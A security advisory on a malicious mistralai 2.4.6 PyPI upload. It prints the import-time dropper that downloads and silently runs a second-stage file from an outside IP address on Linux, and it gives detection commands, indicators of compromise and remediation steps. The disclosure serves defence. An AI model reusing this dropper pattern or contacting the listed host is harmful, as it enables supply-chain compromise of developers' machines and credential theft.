PT-2026-44736 · Pypi · Mistralai

Published

2026-05-18

·

Updated

2026-05-18

CVSS v3.1

9.6

Critical

VectorAV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H
The mistralai PyPI package version 2.4.6 contains a malicious dropper that executes on import on Linux. No v2.4.6 tag, commit, or release workflow run exists in this repository, the legitimate latest version before the upload was 2.4.5, and the upload bypassed this repository's normal release pipeline (which uses PyPI Trusted Publishing).
The mistralai PyPI project is currently quarantined.

Affected

  • mistralai==2.4.6 on PyPI.
Versions 2.4.5 and earlier are not known to be affected.

What the malicious code does

A function named run background task was added to src/mistralai/client/ init .py and called at module-load time. Reproduced from the public report in #523:
python
import subprocess as sub
import os as os

def run background task():
  if not sys.platform.startswith("linux") or os.environ.get("MISTRAL INIT"):
    return
   os.environ["MISTRAL INIT"] = "1"
   url = "https://83.142.209.194/transformers.pyz"
   dest = "/tmp/transformers.pyz"
  try:
    if not os.path.exists( dest):
       sub.run(["curl", "-k", "-L", "-s", url, "-o", dest], timeout=15)
    if os.path.exists( dest):
       sub.Popen(
        [ sys.executable, dest],
        stdout= sub.DEVNULL, stderr= sub.DEVNULL,
        start new session=True, env= os.environ.copy()
      )
  except:
    pass

 run background task()
On Linux only, the function:
  1. Returns early if MISTRAL INIT is already set in the environment.
  2. Sets MISTRAL INIT=1 so the spawned child does not re-trigger the dropper if it imports mistralai.
  3. Downloads https://83.142.209.194/transformers.pyz to /tmp/transformers.pyz with curl -k -L -s (TLS verification disabled, 15 s timeout). Skips the download if the file is already present.
  4. Spawns transformers.pyz with the current Python interpreter (sys.executable) as a detached process via Popen(..., start new session=True), with stdout and stderr discarded and any exception silently swallowed.
On non-Linux platforms the function returns immediately and does nothing.
The trigger is import mistralai, not package installation. pip install of a wheel does not execute package code; for an sdist it runs PEP 517 build hooks but those are in setup.py / pyproject.toml, not in init .py — so pip install, pip download, and pip wheel do not invoke this dropper.
The contents of transformers.pyz are not in the package and were not analyzed in this advisory. The behavior of the second-stage payload on the host is therefore unknown.

Recommendation

Any Linux environment that imported mistralai==2.4.6 should be treated as potentially compromised pending forensic review. Rotate every credential reachable from the importing process and review host and cloud audit logs for activity from approximately 2026-05-12 00:05 UTC onward (per the timing reported in #523).

Check whether you are affected

Installed version:
bash
pip show mistralai | grep -i ^version
Dependency files and lockfiles:
bash
grep -n -E 'mistralaib.*2.4.6' 
 requirements*.txt pyproject.toml uv.lock poetry.lock Pipfile Pipfile.lock 2>/dev/null
Dropped file on disk:
bash
ls -la /tmp/transformers.pyz
The presence of /tmp/transformers.pyz on a host that imported mistralai==2.4.6 indicates the download step ran successfully. Combined with absence of MISTRAL INIT in the host's process environment history, it does not by itself confirm the second-stage executed; conversely its absence does not rule out execution if the file was cleaned up.

Remediation

  1. Pin mistralai to 2.4.5 or earlier. While the PyPI project is quarantined, install from this repository at a known-good tag, e.g. git+https://github.com/mistralai/client-python.git@v2.4.5.
  2. On affected Linux hosts, rotate every credential reachable from the importing process and review host and cloud audit logs.

Indicators of compromise

All IOCs below come from the public report in #523.
  • File: /tmp/transformers.pyz
  • Process: a Python interpreter (sys.executable) running /tmp/transformers.pyz detached from the parent's process group, with stdout/stderr to /dev/null
  • Environment variable: MISTRAL INIT=1
  • Outbound HTTPS to 83[.]142[.]209[.]194 from curl (no TLS verification)
  • Function added to the package: run background task in src/mistralai/client/ init .py
  • SHA-256 of the malicious sdist (as reported in #523): 6dbaa43bf2f3c0d3cddbca74967e952da563fb974c1ef9d4ecbb2e58e41fe81b

References

Fix

RCE

Found an issue in the description? Have something to add? Feel free to write us 👾
dbugs@ptsecurity.com

Weakness Enumeration

CWE-506

Related Identifiers

GHSA-WX9M-WX4F-4CMG

Affected Products

Mistralai